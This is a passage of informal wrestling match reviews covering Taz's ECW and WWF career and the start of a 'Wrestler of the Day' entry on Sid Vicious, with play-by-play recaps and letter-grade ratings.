Taz says gets on the mic and says good match and that he would love a rematch and he wants a handshake. Sabu does it and raises Taz’s hand. Van Dam comes in and hits Taz and when Taz goes for him, Sabu goes after Taz as well. They put him on a table and Sabu goes for a big running spot. Say it with me: BOTCHED. Fonzie turns on Taz and leaves with Van Dam and Bazoo. Van Dam says he would love to work Mondays.

Rating: B+. Again, they kept the weapons use to where it made sense here and the match went way up as a result of it. These two were beating the heck out of each other and the psychology was there. However, the flat out stupid looking things Sabu did really hurt it here. There were two big spots where he did stuff that was just bad looking. That and the times where they were brawling in the crowd and you had no idea what was going on bring this down from a much better grade.

Taz would pick up the TV Title again in 1997 and defend it against Al Snow at Born To Be Wired.

TV Title: Taz vs. Al Snow

Snow is challenging and is on the verge of the push of a lifetime which would result in Heyman completely screwing up and not putting the world title on him because Shane Douglas must be champion forever in ECW. Snow rips into the fans for saying that he’s not Leif Cassidy (role he played in WWE) but Al Snow. The fans want Taz to murder Snow which is the norm for them most of the time.

After a long stall Taz takes it to the mat to take over. The fans want Snow’s neck broken. The champ cranks on the arm and does it again after Snow escapes. Snow tries to fight up and gets caught in an ankle hold. This is all mat stuff so far and it’s pretty good as well. After Snow bails to the floor he comes back in and is immediately caught in an Alabama Slam but he hits a kind of enziguri to the face of the champ to take over.

A suplex puts Taz down and the fans are still all over Snow. Taz is like screw this wrestling stuff and takes Snow down to pound away, but Snow rakes the eyes. Now Taz is like screw this brawling stuff and suplexes Snow down. Snow slams him down and fires off some kicks but gets pounded in the face for his efforts. Taz comes back with a German suplex but walks into a suplex from Snow. That gets no sold and it’s the Tazmission to retain the title.

Rating: C+. This never quite clicked as they were didn’t seem quite sure what they were going for as Taz kept switching from wrestling to brawling. Maybe that’s what they were going for but it didn’t quite work. Snow as a guy completely hated by the fans because he used to be in the WWF worked fine and it worked even better when he turned into the psycho head shaking guy. Not terrible here but it was your usual Taz match from this time period. The mat stuff was good though.

We’ll jump ahead again to 1998 when Taz is ticked off and makes his own World Title: the FTW Championship. Here’s a defense from Heat Wave 1998.

FTW Title: Bam Bam Bigelow vs. Taz

You know, for an unrecognized title, it certainly was recognized by the announcer. Oh this is a death match, meaning falls count anywhere. Bigelow is noticeably less fat. Shane says he won’t cheer lead. That’s rather amusing. First move of the match: Bigelow powerbombs Taz and it’s completely no sold. Give me a break. This isn’t your standard big man vs. little man match as Taz isn’t your typical little man.

Taz goes air (Evan) borne by jumping off the stage at Bigelow who catches him. That’s always been a move I get impressed by. They’re in the crowd here which at least makes sense in this case as it’s falls count anywhere. We get an armbar on the floor. Ok then. Shane of course takes credit for everything that Bigelow does. At least he’s being a heel. The lack of weight really does help him out I think. Taz is bleeding.

Back in the ring now and IT’S TABLE TIME! SO NEW! SO INNOVATIVE! OH YES!!! Taz goes through it and Bigelow is dominating. They exercise recycling as they have Bigelow go through the same table that Taz did. ECW is environmentally conscious if nothing else.

And then we go on the ramp and Taz reverses a DDT through the ramp to do the same big mindless spot that they did in the first match. Both guys of course come out of the hole and the Tazmission is on for the tap out. Shane’s reaction is great. I’d sell my G-Mod spot for a curses foiled again from him.

Rating: D+. Again just an overblown brawl. Thankfully this ended their feud but again it’s just another chapter in the Shane/Taz saga. It was all about one spot which is the smoke and mirrors booking that Heyman was notorious for. It’s ok to just wrestle but Heyman never quite got that.

Taz would finally get a chance at the real World Title at Guilty As Charged 1999.

ECW World Title: Shane Douglas vs. Taz

Oh and to be clear: Shane has a broken wrist so Taz won’t win deservingly no matter what he does. Ok, before we get into this, let’s get this out of the way. In my eyes, it was this feud that officially killed ECW. Shane should have dropped the belt at least six months ago to Taz who would then be able to drop it to RVD who was the hottest thing in the company and also the best wrestler in the company.

For those of you that don’t know, Taz wins the belt here and holds it until September when he goes to WWF. The problem was that by this time, no one cared about Taz at all. RVD was the popular guy but instead of putting the belt on him like the money would have been in, as that by this time, no one cared about Taz at all.

RVD was the popular guy but instead of putting the belt on him like the money would have been in, he belt more or less had to go to Taz since he had chased it for a year now. Shane should have dropped it in like August and this should be Van Dam vs. Taz for it, but instead by the time Taz dropped it, ECW was dead in the water anyway.

Overall Rat….oh that’s right we still have a match to go. They’re trying to make this seem epic but both guys are more or less done as far as meaning anything in the ring at this point. Taz is ok but the people are just rather apathetic to him at this point. We get a conversation with either production or security guys which is always interesting.

They’re out in the crowd now, meaning more time that the inevitable can’t happen. No one on the planet thinks Shane has a chance here but I guess it has to be made out to be epic right? We’re still in the crowd, which is a very annoying one this time. OH GOOD NIGHT JUST GO TO THE FREAKING RING!!! This is so stupid. We can barely see them as they’re just brawling.

This has been going on for nearly 10 minutes. Shane is bleeding and we’re BACK IN THE RING! Oh look, it’s a table. Taz goes through it as I think watching a test pattern might be more interesting. Shane goes through a table. This is just dull. And now we have no lights. Sabu appears, complete with pyro (in ECW?). He beats up both guys for not apparent reason other than Taz breaking his neck and Shane putting Taz up to it. At least it makes sense.

Pretty impressive that a guy with a broken neck can beat up two professional wrestlers. Shane calls for the Triple Threat and here’s Tammy (Sunny). You know what that means. Candido is here and he turns on Shane, I guess going face? That sets up the Tazmission which of course Shane is allowed to escape for a second before it’s locked on again and Shane passes out. Was that supposed to be Austin/Hart again or something?

Rating: D+. And that’s being VERY generous. This match was 22 minutes long. Of that, 12 were brawling in the crowd, three were Sabu doing his thing, two were Candido running in and 5 were actual wrestling. That’s the EPIC match though right? This could have been good, but seriously, there was enough time spent just “brawling” in the crowd to have the main event of Mania 9. Steamboat beat Savage in about as much time as they brawled in the crowd. See what I mean?

And a defense from Heat Wave 1999.

ECW World Title: Taz vs. Tajiri

This was when Tajiri was pretty awesome awesome in the ring so there’s a tiny chance he could pull this off. He hits a picture perfect Asai moonsault over the railing to take out Taz. That was sweet looking. It’s all Tajiri to start us off. He’s fun to watch if nothing else. Taz gets a suplex and imitates the Japanese bowing. Can Taz do anything other than throw suplexes? It certainly doesn’t appear that he can.

To be fair can Tajiri do anything but kick? The Buzzsaw kick gets two. Taz shoves Tajiri onto Rhyno. This isn’t the most interesting match of the night really. We head to the ramp for some brawling of course because it’s ECW. Taz busts out a Batista Bomb on the ramp. Cool. Tajiri goes through a table. Yeah this is boring. Taz has left. Good to see that he has intelligence still. He comes back with barbed wire but Joey insists we go wide. Never mind that we couldn’t see that at first. Taz puts him in the Tazmission with the barbed wire. Ok then.

Rating: D+. Well the kicks and suplexes looked good so I can’t complain there that much. It went way too fast though so it was hard to keep up with things. The barbed wire at the ending was just odd. Also it felt thrown together which is never a good thing. Not a very good match.

Soona fter this, Taz would jump to the WWF. After a few weeks of vignettes with no one being named, he debuted at Royal Rumble 2000.

Kurt Angle vs. ???

Angle is undefeated at this point. Kurt says he’s a real winner here, unlike the New York Knicks. This is goofy Kurt, which means he’s hilarious. He says that the mystery opponent must be scared to come face him, but the opponent needs to take a deep breath, come out here, and face Angle like a man. The self-help thing here is hilarious. The fans chant WE WANT TAZ….and here he is!

Kurt Angle vs. Tazz

Tazz pounds away on Angle and hits a HUGE backdrop to send him to the floor. Angle escapes a suplex in the aisle (painted like a street with a big cab hanging above the entrance, which looks like an alley. It’s really cool) and takes over. Back in and Kurt hits a forearm for two and chokes away in the corner. A belly to belly puts Tazz down but Angle goes up and gets crotched. Tazz hits a super Tazplex for two before getting rolled up for two. Angle gets two more off a bridging German before walking into a release German from Tazz. We unleash the suplexes on Kurt before the Tazmission ends Angle’s undefeated streak.

Rating: C+. This was short, but to say it was an effective debut is an understatement. The place ERUPTED when Tazz won which is exactly the point of the opening match. See, this is what you call LISTENING to the audience. WWF knew they had to appeal to the ECW fans and what better way than to have Tazz debut here? Today, Tazz would be in some comedy match and would likely lose, because Heaven forbid that the fans get what they want in one city for one night.

Due to a complicated situation that I don’t want to get into again, Taz would become ECW World Champion despite being signed to the WWF. He would bring the ECW Title to Smackdown and challenge HHH in a non-title champion vs. champion match on April 21, 2000.

HHH vs. Tazz

The referee holds up HHH’s title, even though Cole says it’s not on the line. Taz grabs a quick suplex to start and some running clotheslines put the Game down again. This is in Philadelphia so the fans are WAY into it. HHH fights out of a t-bone suplex but gets caught by a clothesline. Tazz keeps up the streak with a clothesline to put HHH on the floor. They brawl outside with HHH whipping Tazz into the steps to take over.

Back in and HHH scores with a suplex but Tazz gets one of his own to put both guys down. A northern lights suplex gets two for Tazz but he walks into the facebuster. The Tazmission goes on and the place ERUPTS but Stephanie distract the referee so HHH can kick Tazz low. Pedigree connects but Tommy Dreamer runs in and the referee goes down. Dreamer accidentally hits Tazz with the chair before eating a Pedigree. HHH covers the unconscious Tazz for the pin.

Rating: C. This was about as good as it was going to be. Obviously you can’t have a WWF midcarder pin the World Champion so Tazz getting this close was fine. Dreamer running in was just for the live crowd so there’s nothing really wrong with that either. All in all this was fine, if a bit pointless.

One of Tazz’s major feuds in the WWF was with Jerry Lawler. Here’s the blowoff from their initial feud at Unforgiven 2000.

Jerry Lawler vs. Tazz

It’s a strap match. We’re also in Philadelphia so what are you expecting here? You win by pin, submission or four corners. That’s a nice change of pace so we don’t have to go through the whole dragging thing necessarily. These two hate each other in general so there’s no specific backstory given. Plus it’s Tazz in Philly so do you really think he’s not incredibly over?

Tazz takes over to start and hits a suplex. We go outside and Lawler gets choked while Tazz talks trash to Ross. Lawler takes over and chokes a bit but gets whipped hard. Jerry isn’t totally hated here and he hammers with right hands. To be fair though, when he’s on offense the fans don’t care as much. Tazz no sells a piledriver and then no sells another. Jerry hits a third (in Memphis the guy would be gone 4 months minimum) and Tazz gets up again but this time he collapses. Jerry celebrating is kind of cool.

Jerry gets three corners but stops to choke Tazz a bit and there goes the referee. Since it’s Philly it’s time for a run-in. And who better to debut in this spot than Raven? The place ERUPTS and Raven plants Jerry with a DDT. Tazmission goes on and Jerry is already out cold so the ending is academic. The fans LOVED Raven.

Rating: D+. The match was boring but the whole point was to prove to the ECW fans that maybe WWE isn’t totally evil. There was no way you could put Lawler over here and never let it be said that he won’t job when need be. Tazz was still serious here so the ending was all that mattered. Raven would be nothing for the most part but had some weird energy in WWF in 2001 which was cool to see.

Another issue was with the Right to Censor, culminating in a match at the best show ever, Wrestlemania X7.

Right to Censor vs. APA/Taz

The RTC is a censorship group with Val Venis, Goodfather and Bull Buchanan with Steven Richards outside. They censor stuff, the other three don’t like it, let’s fight. Oh and Jackie is with the good guys but no one cares about her. It’s a big brawl to start with the RTC getting destroyed very quickly. We start with Faarooq vs. Buchanan with Bull hitting the climb the rope clothesline for an early two. Off to Taz who gets kicked in the head and triple teamed by RTC.

Venis comes in with some knees to the ribs for two before it’s off to Goodfather. He continues the destruction of Taz including the non-Ho Train for no cover. There’s the hot tag to Bradshaw as the beating shifts. Venis gets caught in the fallaway slam as everything breaks down. A double spinebuster crushes Venis and there’s a belly to back superplex for good measure. Goodfather misses a charge in the corner and Bradshaw kills him dead with the Clothesline for the pin.

Rating: C-. This is pretty easily the worst match of the show and it’s certainly not bad at all. This was short and almost sweet which is what it was supposed to be. The idea here was to have the censors get beaten up by the Texan and give the fans a good feeling which is exactly what happened. Not a good match or anything but it’s completely watchable.

We’ll jump ahead to 2002 as Tazz didn’t do much in the Invasion. From Raw, January 7, 2002.

Tag Titles: Dudley Boys vs. Spike Dudley/Tazz

This is hardcore for no apparent reason and Stacy is with the Dudleys. It’s a brawl to start with Spike being sent into the steps. Bubba sprays him with a fire extinguisher as the fans want tables. Spike tries a sunset flip on Bubba, only to get blasted with the extinguisher again. A HARD trashcan lid to the face puts Tazz down and What’s Up Tazz? Bubba wants tables but whispers it because he’s evil right now.

Tazz is almost put through but Spike makes the save with a stop sign. There’s a Tazmission to D-Von but Tazz has to let it go to move a table. Stacy flashes Tazz to distract him but Bubba gets the view instead, allowing for a suplex onto a table. Spike puts him through the table with a Dudley Dog for the upset and the titles.

Rating: D+. The match was fast paced but not all that great. The problem here was that at the end of the day, does anyone buy Spike and Tazz as a long term championship team? It was clear that they were transitional champions, which is ok, but it doesn’t do much overall. The live crowd loved this though and there was a match before this to set it up, so it was far better than some other angles I’ve seen that tried to do the same thing.

The reign would last over a month before Billy and Chuck took the belts. Tazz’s neck would really start to go after this point and he would retire a few months later. He would come back for one more match at One Night Stand 2006.

Taz vs. Jerry Lawler

They had feuded with their commentaries for weeks leading up to this. Oh before I forget: there was a show called WWE vs. ECW on a Wednesday where Big Show jumped. That show will likely be referenced a lot tonight. Lawler of course is booed out of the building. The good thing though is Lawler is one of the best natural heels that has ever walked the face of the earth so this is no problem for him.

Overall Tazz is a guy that was perfect for ECW. He wasn’t the kind of a guy you could put on Raw or Nitro every week due to his size, but he was really good as the tough guy in ECW that could suplex you out of your shoes. Injuries caught up with him as they do with a lot of people, but he was capable of having some solid matches if you gave him the right opponent.

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Wrestler of the Day – April 29: Sid Vicious

Today we have the man that rules the world: Sid Vicious.

 

Sid got his start in 1987 but we’ll pick up with him as one half of the Skyscrapers, who both took part in a two ring battle royal at the 1989 Great American Bash.

Triple Crown King of the Hill Battle Royal

Mike Rotunda, Kevin Sullivan, Bill Irwin, Ranger Ross, Brian Pillman, Scott Hall, Ron Simmons, Eddie Gilbert, Steve Williams, Rick Steiner, Scott Steiner, Sid Vicious, Dan Spivey, Terry Gordy

I think that’s everyone. I get a different list everywhere I look. The idea here is mostly simple: it’s a two ring battle royal that you had to win a previous battle royal to qualify for. Just like Battlebowl, you go from one right to the second and if you go out of the second you’re eliminated completely. The winner gets $50,000. JR says there are 14 so I’m missing someone. Ah ok I missed Gordy.

It’s a battle royal so there isn’t much to say here really. This is clipped and I can’t say I’m complaining that much. When we get to the final two it’s a regular match apparently. No one out yet. Literally as I hit the period key Ross went over into ring two. Simmons goes as well as this is apparently a segregated match. Ross kicks the heck out of Simmons.

There isn’t much to call really as the first ring more or less means nothing at all. Thankfully Ross goes over everyone’s name so I hear the whole roster and they’re correct. Ross puts Simmons out for good. Hall, in a total 70s action look, along with Gordy go to ring two. And so is Irwin. That should leave nine guys in ring one. We’re clipped to a ton of people in ring two.

Rick Steiner just walks into ring two. Ok with about seven guys going into ring two in less than 15 seconds we’re down to Sid vs. Pillman in ring one. Both Steiners are out as are Gilbert and Gordy among others. They’re FLYING through this. Ok so Scott isn’t out. Steiner that is. Sid wins ring one. We have Spivey, Rotunda and Williams in ring two. Dang this thing has been clipped a ton.

Williams left the Varsity Club so this is a glorified handicap match. Williams beats the tar out of Rotunda and hits a big old powerslam. Rotunda misses a clothesline and puts himself out so we have Williams vs. Spivey now. Williams is in Hogan colors right down to tights and kneepad colors.

He gets clotheslined out so we have Spivey and Sid, partners mind you, as the final two. And they say screw it and split the money. That’s either awesome or awful and I’m not sure which. No rating due to the clipping and the hard to review aspect of these kind of matches. Yes this is a copout.

He would eventually join the Horsemen in their war against Sting. Sid would get a title shot at Halloween Havoc 1990 in a somewhat infamous match.

NWA World Title: Sid Vicious vs. Sting

Sid is a Horseman here. They talk some trash and Sid blasts him in the back, only to get caught by a cross body. Sid doesn’t go down, but puts Sting in a backbreaker instead. That gets no sold so Sting clotheslines him to the floor. Back in and Sid misses a clothesline, sending him up and over the top. Sid gets sent into the post and we head back inside. It’s a fast paced match so far.

Sting grabs the arm and cranks on it for awhile while we look at the crowd a bit. They go to the mat in a surprising move. Sid realizes how crazy it is to go to the mat when you’re almost seven feet tall and pops up with a clothesline to take over. JR calls Sid’s powerbomb (he was one of if not the first guy to popularize it in America) a version of a bodyslam. Another clothesline puts the champion down and gets a very delayed two.

Off to a nerve hold which is broken pretty quickly. Sting fights out of it but walks into a powerslam for two and it’s time for choking. Sting fights back again but misses the Splash in the corner. Sid hammers on him on the apron but Sting pops up to the top for a cross body, getting two. Sid takes him right back down and Sting goes out to the floor. Back to the apron and a forearm to the chest ala Sheamus gets two for Sid.

Sid goes back to the chinlock but the crowd is starting to wake up. Sting escapes but both guys miss elbows and it’s right back to Vicious in control. A bulldog out of nowhere put Sid down but Sid hits a big boot to send Sting to the apron. They fight up the ramp with Sting being left laying.

Sid goes to the ring and poses, so Sting charges, dives over the top, and takes the big man down. A dropkick puts Sid on the floor and Sting follows him out with a plancha. They fight into a convenient opening in the barricade as the Horsemen show up. Sid and Sting disappear but come back, only for Sting to pick Sid up for a slam, fall down and lose the title.

Rating: C-. The match was just ok with Sting doing what he could, but Sid’s offense was shall we say limited. He didn’t have the chokeslam yet for a secondary finisher so it was powerbomb or nothing. That being said, he never even tried for the powerbomb, which makes the ending kind of strange.

Oh and one more thing: that wasn’t Sting that got pinned. As Sid is celebrating and the fireworks are going off, Sting comes back with ropes around his wrist. He hits Sid with the belt, hits the Stinger Splash and hooks a small package to really win the match. The other Sting would be revealed as Barry Windham but it rally wasn’t that important.

Here’s a little something different so Sid doesn’t lose all the time. From Clash of the Champions XIV.

Joey Maggs vs. Sid Vicious

Total and complete squash here with Sid hammering on the back and neck before destroying Maggs with a powerbomb for the pin.

Sid has his own personal crew of medics take Joey out on a stretcher but Sid beats up Joey even more for fun.

Vicious would leave soon after this and head to the WWF. After refereeing the main event of Summerslam 1991, Sid became a regular wrestler and faced Colonel Mustafa on Superstars, November 2, 1991.

Colonel Mustafa vs. Sid Justice

Yeah it’s Justice now because he’s a face. Mustafa is of course the Iron Sheik. Three forearms to Sid’s chest are no sold and the powerbomb gives Sid the pin.

Sid would be passed over for the World Title shot at Wrestlemania VIII with Hogan getting the chance instead. Justice would turn on him, setting up a showdown at Wrestlemania VIII.

Hulk Hogan vs. Sid Justice

With the music still playing, Sid jumps Hogan but Hulk pounds back and knocks Sid to the apron. The music is still playing and Hogan hits a forearm to the chest and a clothesline to put Sid on the floor. AWESOME opening sequence here and it still works really well. Back in and they stare each other down but Hogan knocks Sid right back out to the floor. Back in again and Sid wants a test of strength.

Sid puts Hogan down but Hulk makes the big comeback to the delight of the crowd. Justice gets knocked into the corner but Sid’s manager Harvey Wippleman (totally unneeded here) distracts Hulk, allowing a chokeslam to put him down. Hulk gets knocked to the floor and hit with Wippleman’s bag, setting up a nerve hold by Sid.

Hogan fights up, only to get put right back down in a side slam. The powerbomb gets two and it’s Hulk Up time. Sid eats a few buckles and it’s big boot, slam, legdrop….TWO? This is assumed to be a screwjob by Sid but in reality, the scheduled run-in by someone we’ll name in a second was late so Sid had to kick out. Anyway there’s the DQ by Wippleman to end things.

Rating: D. Well that sucked. It’s about twelve minutes long and went nowhere at all due to the majority of the match being spent in a nerve hold. Well maybe not the majority but far longer than it should have been. Anyway, this was nothing of note and saving Sid was stupid due to him being gone in a few weeks due to failing a drug test. Nothing to see here, until after the match.

Allegedly Sid failed a drug test before this match but was allowed to appear at Wrestlemania and the following European tour. He would leave after said tour to become a professional softball player. There’s no joke to that. It really happened. Sid would head back to WCW in early 1993 and be placed back in the main event feud, teaming with Vader against Sting and Davey Boy Smith at Beach Blast 1993.

British Bulldog/Sting vs. Vader/Sid Vicious

All four guys are popular here for no apparent reason. Sid gets a great chokeslam on Sting early on. The faces come off the top with matching clotheslines. Tony is right: it is deafening in here. It’s so loud that I can’t even hear the crowd yelling. They must be really good at it too as they don’t even look like they’re moving. Bulldog comes in and gets beaten on for awhile until he gets the delayed vertical on Vader, making him completely awesome.

For about 5 minutes it’s just Bulldog getting beaten on. Sting finally comes in to clean house which I thought before Tony said it so I’m not plagiarizing. Sting does exactly the same thing that Smith did as he gets way ahead and then messes up and gets beaten on for a good while.

The Vader Bomb connects on Smith after he gets tagged in and beats up the heels for a bit. Sid and Sting are on the ramp as Vader busts out the first ever moonsault from him. Sting dives over the top rope to make the save which is cool looking. And Smith is up 10 seconds later to hit a crucifix for the pin to end the show.

Rating: C. It’s exactly what you would expect from a main event tag match. Nothing of note happens, but the moonsault was awesome as he more or less hit it too. That’s a rarity for Vader so nice one there. Other than that this was just completely not interesting. Sid and Vader were supposed to main event Starrcade but due to a slight case of attempted murder by Sid, he was thrown out and Flair came in and got the win instead.

Sid would be fired near the end of the year for stabbing Arn Anderson in England. That’s a major shame for his career as he was scheduled to win the World Title at Starrcade 1993. There was unseen footage of him with the belt so it was as confirmed as it could be. He would head to the USWA for awhile before returning to the WWF in early 1995 as Shawn Michaels’ bodyguard. That only lasted a few months before Sid beat Shawn up and went off on his own. That didn’t last long either as Sid joined the Million Dollar Team, eventually challenging Diesel for the WWF Title at In Your House II.

WWF World Title: Diesel vs. Sycho Sid

This is a lumberjack match with the Million Dollar Team and Diesel’s friends on the floor to make sure no one tries to leave. Why this was a problem isn’t clear but I don’t think there was much thought put into this feud. Shawn escorts Diesel to the ring to try to get the fans to care about the match. Sid is quickly thrown to the floor twice before Diesel slams him down with ease. Back to the floor again though this time Sid winds up with his friends.

Diesel follows him out but gets jumped by the evil lumberjacks, triggering a brawl with the rest of the lumberjacks. Back in and Sid kicks Diesel down and starts going after the champion’s ribs. A bad looking clothesline drops Diesel and Sid walks around a lot. The bad guys cheat again by choking Diesel to start another skirmish. Another kick to the head drops Diesel again but he comes back with right hands and a clothesline which clearly didn’t make contact. The champion drops some elbows despite apparently having an elbow injury.

Diesel calls for the Jackknife but dives onto the lumberjacks instead of going after Sid. Back in and Diesel hits Snake Eyes in the corner, only to have Mabel pull him out to the floor and crush him against the post. A slam puts Diesel down and Mabel drops a big fat leg before throwing his body back in to Sid. He won’t cover though and opts to choke Diesel even more to keep this match going.

We hit the chinlock on the champion before Sid hits his powerbomb and goes over to high five his friends. Diesel kicks out at two and backdrops out of another powerbomb attempt. Sid goes after Diesel’s lumberjacks to mimic Diesel I guess, only to have Shawn dive off the top to take Sid out. Back in and Diesel has to knock down some lumberjacks before kicking Sid in the face to retain the title.

Rating: D-. It’s somehow even less interesting than last time if that’s possible. The lumberjacks helped a bit but adding a gimmick for the sake of continuing a feud isn’t something that works most of the time. These two just didn’t work well together though this was probably a better idea than letting them have another regular match.

We’ll skip ahead a bit (as in a year and a half) to In Your House XI for a match that was supposed to headline Starrcade 1993.

Sycho Sid vs. Vader

The winner gets a world title shot at Survivor Series so Shawn comes out to do commentary. They slug it out to start with Sid knocking Vader down and dropping a leg for two. Sid pounds away in the corner but Vader blocks a slam with a right hand to the face. Now it’s Vader pounding Sid down in the corner before hitting a running splash. Sid falls to the floor and lays there for a very long time without getting counted out.

Back up and Sid pounds away from the apron before actually trying a sunset flip, only to have Vader sit down on his chest. Sid gets up again and a double clothesline puts both guys down one more time. Vader slugs him into the corner but a splash is broken up by a boot to the face. Sid goes up top but a cross body is caught in midair with a SCARY display of strength.

A slam and a splash get two for Vader and there’s a middle rope splash for the same, but this time Vader pulls Sid up before three. Instead he loads up the Vader Bomb but it lands on knees, allowing Sid to slam Vader down. He sets up the powerbomb but has to take care of Cornette. Another powerbomb attempt is countered by a Vader low blow. Now it’s Vader loading up the powerbomb, but he pulls out and punches Sid in the head, allowing Sid to grab a quick chokeslam for the pin and the title shot.

Rating: D. They kept this short which is the right idea, but the match was nothing all that great. There’s only so much you can do in a match like this and they pretty much firmly hit that ceiling. Also, shouldn’t there have been at least one powerbomb in a match built around who is the master of the powerbomb?

The title match the next month.

WWF World Title: Shawn Michaels vs. Sycho Sid

Sid’s name in pyro was always cool. The fans aren’t all that thrilled with Shawn but it’s not booing. Shawn charges at Sid and is immediately knocked down with right hands. The champ (Shawn) stands in one place and punches even faster which apparently is ok. Off to a headlock on the mat but Sid NIPS UP and pounds away. There’s a gorilla press attempt but Shawn lands on his feet. Sid tries the powerbomb (POP) but Shawn bails to the floor.

Back in and Shawn takes out the knee before hitting a Robinsdale Crunch (it’s a leg lock with Shawn jumping to crush the knee). The fans chant for Sid. Off to a Figure Four for awhile before Sid rolls it over. Shawn goes for the hold again but Sid kicks him shoulder first into the post. Sid slows things down and starts firing off some kicks to the head and ribs.

Shawn avoids a charge into the corner and goes after the knee some more. Sid kicks him into the ropes and Shawn skins the cat, but Sid clotheslines him right to the floor. Shawn gets dropped on the barricade which gets two back inside. Sid hits a few running kicks to the head in the corner as things slow down again. Michaels avoids a charge in the corner and goes up, with the fans openly booing him now.

The champ dives into a backbreaker for two and Shawn can barely get up. Shawn fights up and turns it into a slugout with Sid going down. We get the always stupid looking jump into the boot spot and Sid puts on a cobra clutch. Shawn fights up and walks into a chokeslam. The place is exploding for Sid here. The powerbomb is countered into a small package for two but Sid gets the same off a powerslam.

Shawn nips up and is immediately clotheslined down to a BIG pop. Sid grabs a camera and blasts Jose Lithario (Shawn’s manager) in the chest with it for no apparent reason. Shawn superkicks Sid down but stops to look at Jose instead of covering. The referee goes down somewhere in there and Shawn gets hit with the camera as well. Back inside Sid powerbombs Shawn down for the pin and the title. Girl in the front row: “NOOOOOOOOOOOOOO!!!!!!!!!!!!!!!!!!!!”

Rating: B. Shawn’s heart wasn’t in this at all and that was clear throughout the match. His eyes didn’t have it in there anymore and it’s really no surprise that after February he would take time off to find his smile. This was good stuff for the most part but the ending seemed overdone. Little trivia for you: this is Sid’s first title in the WWF or WCW. You would have thought he would have gotten something before then, given the PPVs he main evented.

And Sid’s first major title defense at In Your House XII.

WWF World Title: Sycho Sid vs. Bret Hart

Shawn is on commentary due to getting the winner at the Royal Rumble and immediately jumps on Bret (verbally), blasting him for not putting people over and making it all about himself. Bret jumps Sid from behind and pounds away with Shawn still getting in jab after jab at him. A hard whip into the corner and a clothesline put Bret down though as the champion takes over. Sid hits a running kick to the side of the head before stomping away in the corner. Bret comes back with a shot to the ribs and drops some elbows as Shawn rips into Bret for his lack of emotion.

Sid punches him to the floor for nothing of note before going back inside where Bret gets backdropped right back to the floor. The mats are peeled back again but Bret pushes Sid into the post to break up an attempted powerbomb. Bret picks him up and rams him back first into the post before heading back inside for some kicks to the spine. Off to a reverse chinlock which is usually a heel move but Bret is a face, despite wrestling a heel style here. Sid is allegedly a heel but the fans like him, though not as much as Bret. 1996 was weird.

Bret stomps away in the corner but uses the referee’s break to untie a turnbuckle pad. Sid blocks a ram into the buckle but gets suplexed down for two. The Russian legsweep gets the same and Bret follows up with a snap suplex for no cover. A middle rope elbow to the back gets two more as Bret isn’t hooking the leg for some reason as per his custom, but for once the announcers are calling him out on it.

Bret goes up but gets slammed off and punched HARD in the face. There’s a big boot for two and Shawn makes sure to point out Sid hooking the leg. Sid misses an elbow drop but kicks Bret to the floor to break up the Sharpshooter. Cue Steve Austin out of nowhere with a chop block to take Bret’s knee out. This brings out the Bulldog and Owen to take out Austin but the damage has been done. Bret gets back in with a bad limp but Sid is tentative to go after him, possibly due to Bret’s history of goldbricking but I don’t think Sid is that bright.

The champion finally pounds Bret down into the corner and stomps away with pure power. Bret escapes Snake Eyes onto the exposed buckle but gets sent chest first into it instead which suits him very well. A big chokeslam gets two for the Sycho (yes that’s how it’s spelled in the WWF) but Sid misses a charge, allowing Bret to hit a Cactus Clothesline and send both guys to the floor. Bret grabs a chair (Shawn: “There’s your role model!) but Sid takes it away with ease. Sid shoves Shawn down, bringing Michaels to the apron. Bret is sent into Shawn to stun the Canadian, allowing Sid to powerbomb him and retain.

Rating: C+. Much like the rest of the show, this wasn’t all that bad. The face/heel dynamic here was very strange to say the least but it actually worked in the end. Bret is the kind of guy that can work with any style and bouncing around for a monster is one of his specialties. Good main event here though not great. In an impressive note, Sid has now pinned Shawn and Bret at consecutive PPVs, which is quite the feat.

Sid would lose the title to Shawn at the 1997 Royal Rumble but get a shot at new champion Bret Hart on Raw, February 17, 1997.

WWF World Title: Bret Hart vs. Sycho Sid

That’s quite the way to open up a show. Before the bell we’re told that Undertaker will meet the winner of this match at Wrestlemania 13. They stare each other down but here’s Steve Austin to attack Bret. Referees and backstage personnel break it up but Sid takes a shot to the knee somewhere in there, putting him down on the mat for some swearing. Austin is taken away and Sid gets back inside, but Patterson and Brisco (some REAL Americans) and some referees won’t let the match start like this. More on this later.

From later in the night.

WWF World Title: Sycho Sid vs. Bret Hart

Sid has a bad knee due to the Austin run-in earlier tonight. We cut to the back and Austin is attacking Bret Hart in the back, ramming him into a steel door and even Vince McMahon is helping break it up. No match again.

This time for sure!

WWF World Title: Bret Hart vs. Sycho Sid

Let’s try this one more time. Bret is defending in case that was lost in this whole mess tonight. Sid takes him into the corner and pounds away to start before whipping Bret hard into the corner to work on Bret’s bad back. Bret has a bad back? Apparently so for the sake of the match. Sid takes him down again with a hard clothesline before stomping down onto Bret’s chest a few times. All challenger so far.

Bret comes back with some punches to the ribs and a backbreaker, causing JR to say Sid isn’t 6’9 now. Unless a backbreaker involves cutting Sid’s foot off, I’ll have to disagree. Sid fires off more shots to the back and hits a backbreaker of his own (Lawler: “YAHOO!”) for two. Bret comes back by taking out the leg and drops some elbows onto the knee for good measure. The leg is wrapped around the post and there’s the Figure Four around the post (making its TV debut).

We take a break and come back with Bret bending the knee around the ropes and kicking away at the thigh. Sid fights out with some forearms to the chest and a legdrop for two. Sid (with the knee looking perfectly fine) goes to the middle rope for another legdrop but Bret blocks a chokeslam. Bret misses a charge into the ropes but is still able to backdrop Sid over the top. Austin tries to come in through the crowd but Sid punches him down. There’s the Sharpshooter but Austin sneaks in with a chair shot to break it up. The powerbomb (dude sell the leg!) is enough to give Sid the world title.

Rating: D+. I remember Benoit having the same problems with Sid two years later: there’s only so much Bret can do when Sid won’t sell the freaking knee injury. Sid had a knee injury coming into the match, had it worked on during the match, then got caught in the Sharpshooter but can hit the powerbomb fine? That doesn’t work and it’s not Hart’s fault at all.

Sid would defend the belt at Wrestlemania XIII.

WWF World Title: Sycho Sid vs. Undertaker

This is because Sid won the title and Undertaker is getting a title shot for…..no reason that I can remember at all actually. He was just kind of thrown in there to get the title off Sid with no real explanation. Sid gives his usual insane promo about how he’s going to retain the title because he’s not scared. For the first time ever, we hear that Undertaker has never lost at Wrestlemania. Sid’s pyro of his name in lights is awesome.

